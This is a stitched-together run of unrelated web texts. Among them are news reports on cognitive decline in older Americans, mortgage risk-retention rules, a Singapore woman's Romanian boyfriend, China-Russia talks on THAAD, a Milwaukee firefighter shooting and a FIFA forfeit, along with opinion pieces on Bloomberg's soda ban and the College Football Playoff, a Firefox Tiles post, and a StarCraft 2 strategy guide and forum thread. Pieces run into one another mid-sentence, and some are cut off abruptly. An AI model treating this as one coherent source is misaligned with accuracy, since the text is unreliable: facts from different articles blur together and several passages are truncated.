Curtis graduated top of his class at the Culinary Institute of America and has spent the past five years as a successful Personal Chef. Recently he Co-Founded Rogue Food Works in Denver, CO.
We're trying to be as transparent as possible about the creation of this film so we'd love to have you follow along at our Blog or on Instagram and Facebook.More than 5 million elderly people have a hard time remembering things, sorting through daily decisions and even sometimes knowing what day it is, according to the first national estimate of how commonly the minds of aging Americans are starting to fade.
Using detailed evaluations of a nationally representative sample of 856 people ages 71 and older, the federally sponsored study concluded that 22 percent have begun to see their mental faculties decline, which translates into 5.4 million people.
"It's a huge number," said Brenda L. Plassman, a psychiatrist at Duke University Medical Center who led the study being published today in the Annals of Internal Medicine. "This is the first time we have an estimate of the number of Americans who have this condition," she said, noting that the findings show that mild cognitive problems are as common as diabetes in this age group.
Combined with a previous estimate that 3.4 million Americans have full dementia, such as Alzheimer's disease, the new findings mean that more than one-third of people age 71 and older have some diminished mental function, the researchers said. About 25 million people in this age group live in the United States.
"This is important because the number of people with cognitive impairment is likely to increase significantly as the baby boomers age," Plassman said, noting that the new research found that 12 percent of those with mild problems go on to develop dementia, and about 8 percent die each year.
The magnitude of the situation surprised some experts.
"Five million people is a lot," said Richard Suzman of the National Institute on Aging, which funded the research. "This is confirmation that this is a very big problem."
For the study, researchers conducted a series of interviews with close family members of the subjects, who are participating in a larger study of health issues affecting seniors. They also conducted a battery of psychological and neurological tests, measuring the subjects' ability to remember things, make decisions, know where they are in time and space, exercise judgment, and communicate.
"The key here is we both examined them and tested the person directly, but we also spoke to a close family member who knows the person well to see how they think the person has been doing," Plassman said.
Of the 856, 241 had cognitive impairment but did not meet the criteria for full dementia. When adjusted for demographic factors such as race, age and socioeconomic status, that means one out of every five people in that age group.
"These problems may be noticeable to the individuals themselves and maybe close family members. These problems are not severe enough to stop a person from doing their daily activities. However, the problems may cause them to have mild difficulty in completing their daily activities," Plassman said.
Nearly a quarter of those with declining mental function had a chronic medical condition, such as diabetes or heart disease, which appeared to be the underlying cause of their cognitive problems, she said.Mortgage lenders want federal regulators to exclude most home loans from new requirements that would force lenders to keep a portion of those loans on their books.
The Dodd-Frank financial overhaul passed over the summer requires lenders to retain a 5% stake in loans packaged and sold to investors. The idea was to force lenders to keep some “skin in the game.” As a result, lenders would be less likely to repeat the shoddy lending practices that led to the housing bust.
Regulators now must define which loans are safe enough to be excluded from these new restrictions, known as risk retention rules. They are to issue the rules by April 2011 at the latest. The Mortgage Bankers Association said in a letter to federal housing regulators Tuesday that mortgages with adjustable rates should qualify for an exemption from the risk-retention rules. Adjustable-rate mortgages should qualify, the group said, as long as they have an initial fixed payment period of at least three years.
The trade group also said that interest-only loans, in which borrowers do not make principal payments for several years, should be allowed. They should be permitted only if borrowers can prove that they can afford payments after the interest-only period expires.SINGAPORE - Singaporean Cheryl Yap Lay Leng, who triggered a search when her family reported her as missing earlier this year, is back in Singapore with her Romanian boyfriend Alexandru Donea.
Ms Yap, 25, had travelled to Romania in January with her mother, Madam Foo Li Kheng, 61, to meet Mr Donea, 18.
They left without informing Cheryl's father, Mr Yap, who became worried that his wife and daughter were victims of a scam.
But soon after, the two women were found.
They were staying with Mr Donea and his parents at their home in Vulturesti, a village commune in Olt County about 150km from Bucharest.
Related Story 'Missing' Singaporean woman says she travelled to Romania to look for Internet boyfriend
Now, Mr Donea and his mother, Aurelia, are in Singapore to visit the Yaps.
The teenager and his mother told Shin Min Daily News that they reached Singapore about two weeks ago and plan to stay for three months.
In a Facebook post on March 12, Mrs Donea posted a photo of her, her son, Ms Yap and Madam Foo in a mall with the caption: "In Singapore with my daughter and son shopping!"
She also uploaded photos of Housing Board flats and Singapore roads in another post which was geo-tagged "Singapore".
Mr Yap said that he does not object to the romance, and just wants his daughter to be safe, Shin Min reported.
Ms Yap and Mr Donea have been in a long-distance relationship for more than two years, and have said they plan to marry. The two got to know each other because of manga, and both their YouTube accounts are updated frequently with manga-related videos and songs.
Mr Donea has said earlier that he hopes to marry Ms Yap in the next one to two years and settle down in the United States.China and Russia have begun to cooperate in earnest regarding the possible deployment of U.S. Terminal High Altitude Area Defense(THAAD) battery on the Korean Peninsula.
A Chinese daily reported that the two nations held a second meeting in Moscow on Friday regarding Northeast Asian security and the state of affairs in the region as well as global issues.
During the talks, the two nations reportedly agreed that the THAAD deployment would raise tensions in the region and compromise their security, voicing explicit opposition to the development.
Beijing and Moscow are known to have reaffirmed their strategic partnership and pledged to defend their mutual interests by enhancing bilateral communication and cooperation amidst the highly sensitive security conditions in the region.
It is the first time that the two nations have voiced opposition to the THAAD deployment at official security talks.In August, I wrote about why we believe that trust is the most important currency of the Web. As I explained then, putting the user first, through transparency, choice and control is the only way to bring about the Web we want. In that post, I described several of our efforts designed to help us positively influence the ecosystem to garner more trust from users. One of those efforts was the Tiles feature. To influence the ecosystem, we have to participate in it.
As we move forward with Tiles, we wanted to share more details on our approach and invite your feedback. On November 10, we announced the release of a 10th anniversary edition of Firefox and firmly took our stand as an independent voice on the Web. With the anniversary edition, we made the Tiles experiment a part of Firefox.
We developed Tiles as an engaging and useful experience for our users. We designed the feature with a core focus on our Privacy Principles. Here are a few examples of how those principles influenced the feature:
We ensure that no data is sent to us until you interact with the feature. You control the feature and can turn it off easily if you don’t find it useful. You can audit us – all of our code is open and auditable by you. In particular, you can learn more about the code that powers this feature here. If a user has previously opted into Do Not Track, we assume this means the user does not want to see Tiles so we pref Tiles off for those users. (Note: If a user subsequently opts in to DNT, the user will need to switch Tiles off). The data we collect is transmitted over HTTPS/TLS.
We’d love your feedback on these principles, and any ideas or suggestions you might have to make Tiles more valuable to users. Leave a comment, or better yet, use this form to submit feedback directly to the Tiles team.
We’re excited to move forward with Tiles and will continue to innovate with ways we can create positive impacts through this feature. Simultaneously, we will use our experiments through our Polaris initiative to test additional ways we can help create transparency, choice and control for our users.Michael Bloomberg, whose personal style is natty, old-guy prep, is likely making a statement about aesthetics as much as health in his proposal to ban slurpy-size sugar drinks from various public venues.
He undoubtedly sees these vast beverage sizes as not only fostering obesity, but vulgarity. Bloomberg is one of the few American politicians who doesn't have to pretend to be a man of the people. His political career exists precisely because he is not average.
Indeed, disdain, of a particular persnickety kind, has been one of his powerful hallmarks. He seems often agnostic as to ideology but very fixed in his ideas about individual comportment – not so much from a values point of view, but from a style perspective. The Wit and Wisdom of Michael Bloomberg, a booklet published by his company before his political career began, and disappeared immediately thereafter, was largely a set of quips and aphorisms at the expense of the hoi polloi.
He has often ruled, both in his company and in his political life, by personal aversion. Indeed, his office life famously reflected his micromanaged petty dislikes.
This approach to governing, curiously, has not gone all that badly for him. Aside from the beverage industry and assorted libertarian scolds, nobody seems all that riled-up about his extra-legal and strangely impolitic call for a ban on oversize drinks. And this is hardly his first foray into personal behavior. He demonized trans fats without seriously blowback. And more than any other politician in the US, he has personalized the smoking issue. Outside of a few rabid redoubts in California, it is probably harder to smoke in New York than anywhere else in the world – and now, thanks in part to the mayor's dripping scorn, clear public reproach attaches to anyone left with a cigarette.
The mayor's message, in addition to the health point, is that if you guzzle like that, or consume such grease, or still, after everything, go on smoking, you've got not no class or common sense.
This is, surely, authoritarian. It's nanny-state stuff. And yet, he isn't thought of like that sort of scourge or bureaucrat. His bugaboos are qualitatively different than the usual issues that compel over regulation. Bloomberg is making a much more visceral call – he's channeling the great guilt out there. Authoritarians are usually fighting the Zeitgeist; Bloomberg seems to be on top of it.
Clearly, he has a feel for articulating a certain sort of underlying, yet unstated class issue: an attitude he frequently directs toward city hall reporters and teachers' union representatives. It's not so much their lack of breeding he finds contemptible, but their lack of any obvious desire to better themselves.
His is a strangely appealing revulsion, pointedly identifying the small-time and badly-dressed. One is certainly glad not to be a shlumpy reporter or teachers' union official irritating the crabby billionaire.
The big beverage ban is like that. There is no one who has watched a person slurp down a 48oz (or, egad, 72oz) sugar-laden drink who has not had a moment's sense of personal virtue, even relief, not to be the one slurping it. Nobody looks at a big-boy size and says, "I want one". They might ask, "How did I find myself with one?" – but they don't feel proud of it.
Everybody is victimized by a slurpy. The mayor has astutely put the blame on the size of the cup.
Now, of course, this is not the real issue – nor his real message. One can only imagine what the trim and carefully-dressed mayor (even though almost nobody would want to dress the way the mayor does) feels when he finds himself among the overweight – a place you frequently find yourself when you are a politician. He feels, no doubt, the one thing he's not allowed to feel as a politician: grossed out by the electorate.
Curiously, one suspects that both Barack Obama and Mitt Romney probably feel the same, but, of course, hesitate to offend the nation. Bloomberg's instincts, on the other hand, after spending a career in the private sector, and making more money than God doing it, remain fairly impolitic, which has been the nature of his sui generis charm.
Indeed, fat may be the truly big issue – and Bloomberg the only politician free enough and bold enough to ride it. From a public policy standpoint, no matter what we achieve, it may be all for naught if everybody is obese. Surely, for Bloomberg, it goes to the core of who he is, and he is who he is because of what he has achieved. Fat represents an anti-achievement ethic. With a little critical interpretation, fat, in the Bloomberg lexicon, is the new "welfare queen".
And it's a New York issue – or anyway, an Upper East Side issue. Sure, the thin on the Upper East Side are rich, but you're never going to get rich if you're fat. And in the Bloomberg view, it's obviously a class issue, with an ever-growing part of the country at risk of becoming not just obese, but downwardly mobile.
It may be worth asking what else can he do before his term ends to impose a new sense of personal decorum on the hoi polloi. Certainly, public food and beverage consumption offer many more areas of potential reform. Our massive walking appetites can't be outlawed, but they can be whittled back. Smell limits, perhaps? Food emitting certain odor levels ought not to leave the originating premise, surely?
And gum, with its permanent sidewalk blotches? And, while we're at it, clipping nails on the subway? And men in cargo shorts? And tattoos?
We all know what the problems are. Let's deal with them, Mike.Please enable Javascript to watch this video
Most Arkansas fans don't realize they have a hockey team. Even fewer realize just how good the Razorbacks are.
Arkansas captured the South Eastern Collegiate Hockey Conference title in Birmingham, Ala. after they took down Alabama 2-1 in the league championship game game.
The Razorbacks outscored Tennessee and South Carolina 24-2 in the first two rounds of the tournament.
Arkansas (29-5-0) fell behind 1-0 but netted a pair of goals, including the game winner from Martin Sundstedt to claim the conference crown. The goal was Sundstedt's 22 of the season which is tied for the team lead with Marcel Toure.
Arkansas closes out the regular season next weekend as they host Oklahoma both Friday and Saturday night at the Jones Center in Springdale. The Sooners are responsible for two of the Razorbacks five losses this season.A new study published in the Journal of Sexual Medicine suggests that there’s a strong correlation between insanity and homophobia.
Researchers at the University of Rome Tor Vergata in Italy claim to have found a “remarkable association between dysfunctional aspects of personality and homophobic attitudes.” They asked over 500 college students ages 18 to 30 to complete a series of psychometric evaluations in an effort to assess their levels of homophobia, psychopathologic symptoms, defense mechanisms and attachment styles.
What they discovered was that students who scored highly on the psychoticism tests also tended to be more homophobic, “demonstrating that pathologic personality traits are involved in homophobic attitudes.”
Psychoticism is a psychological trait often found in severe mental conditions that can contribute to heightened states of anger and hostility.
“Our study follows a controversial issue regarding homophobia as a possible mental disorder,” researchers concluded. “After discussing for centuries if homosexuality is to be considered a disease, for the first time we demonstrated that the real disease to be cured is homophobia, associated with potentially severe psychopathologies.”
This Story Filed UnderEight teams can't get here soon enough. I've said that before. But the College Football Playoff needs to make that adjustment soon, lest they fall prey to the same thing that got the BCS blown up.
Human bias. The BCS "faked" using computer rankings, as humans came up with those formulas.
Just look at college hoops. They've got it nailed down.
Conference champs are guaranteed. At-large is decided by a committee, and at that point, if a big time program gets picked off in the conference tourney, nobody has an issue when they are included in the field. Nobody gets too conflicted over snubs as those teams were highly unlikely contenders to begin with. Win and your in. Most folks are good with that.
College football could fix this real quick. I don't want to hear about contracts. Stuff like that gets renegotiated all the time.
Each Power 5 conference champ is guaranteed a spot. Three additional spots? No worries. The committee can hand these out to either a deserving mid-major champ (ex: Boise State), or if a truly deserving big time program that was previously undefeated and rolling trips up at the end, they could be included. I personally wouldn't have an issue if Bama and LSU both made it, as long as another Power 5 conference champ doesn't get cheated out to do it. Put every major champ in, and conference reputation will change quickly enough.
Let the humans decide, however, and bias will always come into play. Just look at the Big 12, and particularly Oklahoma State.
The Cowboys just thrashed TCU, formerly No. 8 in the first CFP committee rankings. Human bias, because of the low regard for OSU's schedule, the Big 12 in general, and the way they've won, will focus more on TCU being a pretender than the Cowboys being a contender. That schedule, however, should not be overlooked.
OSU is the only top team in the Big 12 that had to visit Morgantown. They are also the only top team that will have visited Austin. The only Big 12 contender that played either of these teams someplace other than their own home field was OU, and they were beaten handily by Texas in the Cotton Bowl, who then got run off the field by Iowa State.
You can't logically start trotting out OU as a legit darkhorse CFP contender without giving credit to OSU for winning in Austin. Extend this logic to the SEC, where Ole Miss beat Bama, but then lost badly to Memphis, who just lost badly to Navy. The committee, and pundits, have already forgotten that performance, or written it off to a "fluke." This is what humans will do. They will glorify their flawed logic because it's what they believed going into the discussion. It's a major reason why OSU was kept out of the national title game in 2011. The loss to Iowa State wasn't seen as enough of a fluke, and it also happened too late. Late losses kill a contender, which is another huge reason humans need to take a back seat to this process. Why should a loss late count more than a loss early? Because time heals all wounds. We are a "what have you done for me lately" society, and we tend to rationalize the world around us to fit our own view and belief structure. Logic often has nothing to do with this process, which is why it's a lot easier if your loss is long enough ago that I can "forget" about it.
If the Cowboys win out, chances are extremely high that they will be in the playoff. However, it is not far-fetched to envision a scenario where they get left out. There were 13 teams ahead of OSU after the first CFP rankings came out last week. The Cowboys should jump Michigan State, TCU, and Memphis, but who else? There are still a lot of teams ahead of them that could win out, a number already with one loss, but all it will take is four and our beloved boys in orange could be excluded. Also, I may hate Baylor, but they got screwed last season, not just because the Big 12 itself was wishy-washy, but because the conference champ had no guaranteed spot. The winner should get in...even if it is Baylor, and for that matter, also the Pac12 and ACC champs.
Why in the world is a one loss Bama team that much better than a one loss Big 12 champ, whose one loss on paper would be WAY better than losing to Ole Miss? Because humans control the pencil, and that's criminal. Just take a look at this for "perspective:"
Blown minds #CFBPlayoff #TCUvsOKST had 38 Poss. 78 points (2.05pts/poss.) #BamavsLSU had 22 poss. 46 points (2.09pts/poss.) Same game. — Austin Chadwick (@AustinChadwick) November 8, 2015
I've been saying that March Madness is incredible, but an eight team CFB playoff would challenge the NFL for supremacy.
Conference champs in....check
Mid-major underdog in...check
Money coming in hand over fist...guaranteed.
Make it happen sooner rather than later.After rolling out WhatsApp’s Free Voice Calling feature for Android users late last month, the widely popular messaging service has started to roll out the feature to iOS users.
Now iOS users can enjoy making free voice calls through WhatsApp, as the new version of the messenger is now live in the iOS App Store with support to calling.
WhatsApp calling feature allows you to call your friends and family anywhere in the world for free as long as you have a Wi-Fi network or a working data plan on your registered number.
The full description of the WhatsApp Calling feature on the App Store page reads:
"Call your friends and family using WhatsApp for free, even if they are in another country. WhatsApp calls use your phone’s Internet connection rather than your cellular plan’s voice minutes (Data charges may apply) Note: WhatsApp Calling is rolling out slowly over the next several weeks."
The last line indicates that the feature, so far, is not actually available for all iOS users, but rather will be available in “the next several weeks” when the new WhatsApp Calling reaches your iOS device.
Not just free voice calling, WhatsApp for iOS also adds some major updates to the messaging app. It comes with its sharing extension, which means now you can easily share links, photos and videos from within other apps directly to WhatsApp.
Moreover, WhatsApp tends to roll out other new features that include a "quick camera" button, which lets you quick access to the camera so that you can shoot and send videos and photos from within WhatsApp messages.
But honestly: Free Voice Calling is the real kicker.By of the
A Milwaukee firefighter was shot overnight Sunday while he and other firefighters tended to a patient who was having trouble breathing.
The 46-year-old firefighter, whose name was not released, suffered a graze wound to the right side of his head and has been treated and released from the hospital, according to a Fire Department news release issued Monday.
The firefighters were called just after midnight to the area of N. 40th St. and W. Lisbon Ave. to assist a patient.
They assessed and treated the patient and were in the process of transferring the patient to Curtis Ambulance when shots were fired from an alley in the direction of the first responders, according to the news release. Several rounds also hit the ambulance.
Police Chief Edward Flynn said it does not appear that the firefighter had been targeted.
Flynn said detectives had recovered shell casings near the scene that appear relevant to the investigation.
"In this particular case, so far the physical evidence we have indicates that this individual wasn't targeted, but in all likelihood someone else several blocks away was," Flynn said.
Milwaukee police continue to search for suspects.
"Milwaukee firefighters have a difficult and dangerous job, and we are committed to serving our citizens," Fire Chief Mark Rohlfing said in a written statement.
"This incident will serve to heighten our awareness but will not stop us from providing needed emergency medical care to our citizens."
Deadly weekend
The shooting came at the end of a deadly holiday weekend that saw six people killed in homicides, including a 14-year-old boy who was fatally shot Friday night shortly after Milwaukee's lakefront fireworks.
Rohlfing said his department joins with the mayor and Police Department to demand "a stop to the senseless gun |
of 3gate expand. -You want to be hitting around 70+ workers by the later part of the game on 3 bases. If you watch replays and see yourself topping off at like 40-60 workers, you know what you need to work on. -Keep your eyes in your base 90% of the time or more. You can start to look around a tiny bit but still do not worry about harrassing
-Hotkey entire army to 1. Make only zealots and stalkers unless playing PvP in which case immortals are allowed. If you wish to make sentries to get used to them, only use them defensively. You do not want to be worrying about army micro and spellcasting yet outside of your base because your macro will slip. -Always make sure you have probes building and have used your warp in cycles. Do not cut probes at this level, wait until you get higher up. -Whenever you warp in units, grab a probe and throw down 1-2 pylons. -Use chronoboost on anything, as long as it is being used. -Your mineral dump is going to be gateways. Just make additional gateways whenever you have lots of extra resources. -You do not need to tech to anything really. Large gateway armies are very strong. When you attack just A-move your massive army towards his base. PVT - 9 pylon, 13 gateway, 15 assimilator, 16 pylon, 18 cyber, 19 zealot, 22 pylon, 23 stalker, warpgate when cyber done, 26 gateway, 30 pylon, 30 gateway PVZ - Same as PVT PVP - Same as PVT but add a 2nd assimilator at 25 and a Robotics facility at 31. PVX - Expand with the next 400 minerals after you complete these builds. Your army should be strong enough to hold it.
-At this level if you have good macro you can win with purely queens and drones (many pros have done this to prove the point that I'm trying to make in this thread). I would like you to make units still but the point is that it is possible to win without them. -When I said no scouting, that mostly referred to protoss and terran not needing to scout at all because they are more defensive and build units more constantly. Since zerg is different and reactionary, I think it's important to simply have a very basic scout of when they are moving out. Don't care if they are teching like crazy in their base or whatever, you should have safe builds to prepare for that stuff (evo chamber at 5:30, spore at each base, etc). Simply have a ling outside their ramp or at their tower to know when they are pushing out. This will be useful for when to transition into making more units/spines. -Put all hatcheries on one hotkey. Whenever you are sitting there, be pressing the hatchery hotkey, then S. This selects your larvae so you can spend them immediately. -For every wave of units that you build, make an overlord. EX: If I have 8 larvae, I hit "4" (My Hatcheries hotkey), "s" (Selects larvae), "V" (builds an overlord), then "d" 7 times (builds 7 drones). If you get in this habit you will find yourself getting supply blocked at least 50% less if not better. -Make 4x queens or more (good anti air) -Do not be afraid to drone. If you drone a lot, just make more queens and some spine crawlers to defend. -Do not use infestors. Too much apm required and it will hurt you elsewhere. -Your mineral dump will be additional hatcheries and queens. If you are on 2-3 base and have 3K minerals, make 3 more macro hatcheries inside your main. This will allow you to get more larva, make more queens, and spend all that extra money. Just make sure to add them to your hatcheries hotkey! -Only send out your first overlord to scout. All other ones leave in your base or the airspace right around it. -Make only lings and roaches. ZVX - On 9 build your overlord, not 10. ZVT - Open 15 hatch, 15 gas, 15 pool, 15 overlord. 2x queen when pool completes, speed at at next 100min/100gas. ZVZ - Open 14 gas, 14 pool, 15 overlord. On pool finish get ling speed, a queen, and 4 lings. at 21 supply, take your natural hatchery. ZVP - Same as ZvZ
-Hotkey your whole army to 1 hotkey, your CCs to 1 hotkey, and your Barracks to 1 hotkey. -Always make sure you have scvs and marines building. -Take an expansion by 5:00 (you can start it in your base if you don't feel safe). -Build additional supply depots (before you even really feel you need them, it's okay to have too much supply at this point). -If you have any extra minerals, make more barracks (and orbitals in your base for mules/scvs!). Even if you are on 2 base and have 6 barracks already, if you are floating 2K minerals feel free to drop down 5-6 more! -You do not need to tech. You honestly can do without gas even but if you must get it I'd suggest getting it delayed and then just using it for Reactors/tech labs to get additional marines and marauders. TVT - 10 depot, 12 barracks, 14 depot, 15/16 orbital, 15 marine, 16 marine, 17 command center (can be inbase if you don't feel safe), 18 bunker at natural, add 2 more barracks after bunker complete. TVZ - same as TVT TVP - same as TVT
-There is no reason for scouting at this level (if you are a zerg player check your section on this). Strong macro should win out 90% of the time regardless of what your opponent is doing. -Always build workers. Always. -Keep your eyes in your base 95% of the time or more. If you ever watch a replay, you will see your macro fails when you are not looking at your base. Wait until you are a higher level before diverting your attention. -You should be able to A-move any army if you have good macro and win the game at this level. Thus, do not worry about tiny attacks or drops or timing windows. Simply macro up a large army, and A move to his base.
I've been playing Starcraft since early Broodwar and I love teaching others about the game and how to improve. Also, as of a few months ago I have found the joy of casting, which will be starting up again on Aug 11th (temporary leave due to internet issues in my summer home).League: Masters (1000+ last season)Main Race: Zerg (Used to be terran)Youtube: www.youtube.com/mrllamasc Other Threads of mine:
I agree that over micro-ing can hurt some players, but imo its far to complicated and differs too much to put do's and dont's on it. I.e. Sometimes stutter stepping your units will win you the game straight away, other times its better to focus on macro during that time.
I'm not saying that stutter stepping won't win you a game. There are plenty of little things (like having great banshee harass) that can win you games. I'm saying there are bigger things to focus on though.If I haven't mastered my macro before I start focusing on stutter stepping marines, I end up with situations like this:Situation 1:stutter stepping 20 marines and changing a losing engagement to a winSituation 2:having focused on macro all game and having 35 marines not stutter stepped to win easily.Now pretend that neither of those engagements win and they both somehow do the same amount of damage. In situation 1 you will have been focusing on stutter stepping and let your macro slip some. In situation 2 you will have not let it slip and thus be ahead.This continues for every engagement everywhere. So if you have 25 engagements throughout a game (big or small) and are focusing on the stutter, you will fall further and further behind the guy who didn't stutter (and thus can have more units in the next engagement).
On June 09 2012 07:32 mskaa wrote: I agree that over micro-ing can hurt some players, but imo its far to complicated and differs too much to put do's and dont's on it. I.e. Sometimes stutter stepping your units will win you the game straight away, other times its better to focus on macro during that time.
As a high level player I agree that the first things you mention should not be done by low APM players. I will say that players at all skill levels should first and foremost ALWAYS BE BUILDING STUFF. you can easily get through plat that way and then branch off. Biggest tip I ever learned was not to look at your army, their are more important things to do like building $hit. That said, keep doing what you do if you win, and adjust if you start losing, this is how to get better...
I generally agree with what you said, it's a very realistic and well detailed post in my opinion. There are a couple of things I would add or I don't really agree with tho, as Protoss player. First I think a P player should start to get comfortable with sentries and force fields at silver level. I say this from experience, I hit a very hard brick wall in Silver because I didn't use sentries at all, and before I started to learn how to use them and force myself to produce 2-3 in the early game I used to get totally devastated by Terrans. It also helps a lot making PvZ easier. You obviously don't need to focus too much on exploiting the surroundings to create choke points etc, since you won't have the experience nor the map knowledge, but knowing that you can use a couple of FF to thwart those very irritating T 1 base pushes is very important imho. The second thing is more like something I would add: observers!!! If you need them, make them! You don't really get how important observers are by watching pro players vods, because you usually won't see how many he made and where he placed them. At low levels it's so very common to get annihilated because that enemy army just came out of nowhere while you were distracted for half a second. If you struggle to have map control or find yourself unable to identify where your enemy is... make OBSERVERS! As llama said, you don't need that robo facility to continually crank out colossi at low levels. Place one obs just outside your enemy's natural expansion, so you don't risk it getting spotted and you can see when his army moves out. Place one somewhere in the middle of the map, maybe on patrol, so you can see when the army is getting close. If you have trouble defending against drops, place one along the most obvious drop-route, far away from your base, so you can identify an incoming drop and warp in units to defend with ease. Observers are vastly underrated, you don't need them just to hover on your enemy's base to identify his build (obviously it's still a great plus), you can very well use them to gain a lot more of information. Of course the ideal situation would be to use as few of them as possible, but if you are in a low league there's really nothing wrong with making one or two or even three observers more than usual, if that helps keeping you safe and sound.
This would be true if skill in Sc2 was a set thing, however to improve you have to push yourself, that is the basic rule in any sport, whether it is soccer, weightlifting or starcraft. Saying to a young soccer player, dont learn how to dribble well, at your level speed is all that matters, work on that, is simply bad advice. Doing this micro little tricks at first do hurt your overall game. However as you improve you learn how to do these things AND macro, and this is where repetition and practice to come in to improve your skill. I see your point that you don't want the bronze player wasting their apm scouting with their probe while they have 5 probes sitting idle in their main, but thats just common sense, and not really anything revolutionary.
Hmm i just want to make one comment about players stream on the whole i agree with you prioritising actions is a really important and hard skill to master but some players have such an effective apm that just watching, like literally just watching and then playing, u will build good habits in ur subconscient and then play better. Like its quite minimal but thats the way i feel when watching Mvp or MKP first person, so id recommend watching incredibly smooth and efficients players to understand what the op is about and just improve in general
Actually no its kinda up to your preferences, and id go as far as saying that in a lot of case u want to hotkeys everything on 1 hotkey. example: marine tank. put all on ctrl group 1 and u can move super fast on the map, change screens easily. and the way to not lose any micro ability is by having ur tanks on 2, so that if u see a blip on the minimap or want to target fire, u can instant siege without tabbing. great players who do that are kas and forgg, mkp and mvp dont even bother with that and just a lol...So no less hotkey=easier game= easier actions to perform= more potential actions. now im not saying u should always just 1a, like i hate having air units with grounds, ghosts with rest of bio etc, but its something u should look into if u want to maximise efficiency
...which seems to be contradicted by these sections. I find that fungals require quite a lot of attention to unit control on my part (I still suck at them and miss a lot). Flanks require even more attention, since I find it difficult to ensure everything arrives at the same time. If my flank groups arrive at different times I often lose my entire army for little return, especially against Terran who can wipe out an unsupported flank group in a matter of seconds. I more or less gave up doing this against Terran since it seemed like the margin for error was so small and any mistake would lose me the game outright, and my macro usually goes to crap while I am attempting it. Having said that my ZvT record right now is awful, so perhaps I do need to figure this out. I'm just not sure how to do it without worrying about unit control.
I'd say keep them with your army and just use them to fungal up in big battles <...> -Think about positioning now for engagements. If you can get a swarm on an army from multiple sides you will do MUCH more damage.
-I think diamond is the best place to start worrying about unit control. Anything below this league should focus on the production of units and workers but once you get those skills down you can start looking at your army.
i dont know if maybe the gold/plat zerg advice is wierd because usa is diff to eu server but i find the advice strange.. (only gold top8 EU atm)adversity to mutas: yes they are micro intensive but for the apm i put in a protoss needs to use some to defend them. The pressure of them helps discourage the protoss moving out helping you further your tech/upgrades. if they cant deal with it well.. or weren't going stalkers you can do really nice damage easily (punish immo sentry heavy pushes)adversity to infestors: obviously they cant attack making them a bit risky to rely on but consider this.. run 1/2 lings at an expo.. see no cannon.. run 1-4 burrowed infestors in and hold shift, press T and spam click then still holding shift right click back to mid/yourbase.. you have easy damage forcing a reaction from them. Once practised you can set this up in like 2 seconds and do it just after a round of injects or something so im barely losing anything and if the protoss is out of position or doesnt react well they could lose the expo let alone a lot of workers for just energy.Only ling roach: unless you're planning on allin every game i dont understand this. infestors are superb at aoe damage useful in every matchup (perhaps most zvzs this level dont reach that). If a protoss sees only roachling and builds right or a terran doesnt get caught unsieged it just seems unlikely you can trade with these past 10minutes. (also without muta/inf how you deal with drops?)scouting P seems light: does he have colly... i would replace with 9scout on the 1v1maps. pylon highground = gateopening expect pressure. See pylon lowground = FFE can go more eco (3base no gas anyone?:D ), watch for natural gas, expect 2base push usually.some other more general thoughts:-idea of shift clicking to allow you to do more things easier (obviously dangerous in some situations but in most it can help LOADS.. shiftclicking drones, sorting drops, focusing prio targets, pathing a scout early when you have less to do anyway, etc- A-moving is all well and good but sometimes micro'ing/focus firing is necessary.. banes through a group of marines instead of amove.. mutas picking tanks... picking off either sentries/immortals in zvp.. lingbane v lingbane in zvzcontrol can't wait til diamond imo. I understand i dont have the apm to do everything but there comes a time when making stuff 5seconds later is worth it if you lose 30 less supply in a fight because of the micro= i think you underestimate what people are capable of. I understand the "don't run before you can walk" but i think even gold nubs like me could surprise you playing against plats and diamonds with macro builds and the more relaxed ladder now. Sometimes i think you gotta push the babybird outa the nest to see it can flyThis is from a *much* lower skilled player's perspective so im open to the idea i'll get slated and people may disagree but i feel if i played along the guidelines provided i would be a lot worse and some of my greatest games wouldn't have been possible if i wasn't trying to stretch myself.
Been stagnating in Plat for a while now. I know I'm bad, but forget just how bad I am, and guides like these help me remember what to prioritize. It's funny, I was looking at some of my replays and I'm now usually somewhere around 100 apm, and I think of how the pros are doing literally at least twice as much as me. This helps to focus on what to improve on, I think just solid, macro play is my weakest skill as a player. Thanks for taking the time to write this.
What I've noticed about pros vs highish master players, is that the pro will do ANYTHING to get ahead of you because they have the insane micro/multitasking capability. Yes high master players will do stuff like micro a stalker for 30 seconds against slow zerglings targetting down the hurt ones.. but he will probably not execute his build's timings perfectly back at home. a korean pro however, will execute his build timings perfectly while microing. And about lower level players, it's so true that they bank way too much money cause their trying to do micro/though intensive things that they watch pros do. When I play on my off race account (diamond-lowmid master) my opponent will always start banking 1000-3000+ minerals when stuff starts getting crazy. Part of that is having the game sense to make sure you have the right amount of production to keep up with new econ tho.By means of a telephone conference, the FIFA Disciplinary Committee has today taken a decision to sanction the Cape Verdean Football Association (FCF) for fielding an ineligible player in the preliminary competition match for the 2014 FIFA World Cup Brazil™ between Tunisia and the Cape Verde Islands on 7 September 2013.
The match has been declared to be forfeited and awarded 3-0 in favour of Tunisia, meaning that the Cape Verde Islands will not progress to round three of the FIFA World Cup™ African zone qualifiers having dropped to second place in Group B with nine points while Tunisia finish first with 14 points and will now advance.
The FCF has also received a fine of CHF 6,000 after the FIFA Disciplinary Committee considered the FCF liable for having breached art. 55 par. 1 of the FIFA Disciplinary Code and art. 8 of the 2014 FIFA World Cup Brazil Regulations.
The sanction relates to the Cape Verde player Fernando Varela failing to serve the full four-match suspension imposed on him after receiving a red card for unsporting conduct towards a match official during a FIFA World Cup™ qualifier on 24 March 2013.
The draw for round three of the FIFA World Cup qualifiers in the African zone will be conducted next Monday, 16 September. The five best-placed sides in the FIFA/Coca-Cola World Ranking, which will be released today following the outcome of this disciplinary case, will be seeded in the draw.NEW DELHI: In a significant move that will help increase Android penetration in India, its promoter Google is now vying for a piece of the retail market with brick-and-mortar stores called Android Nation
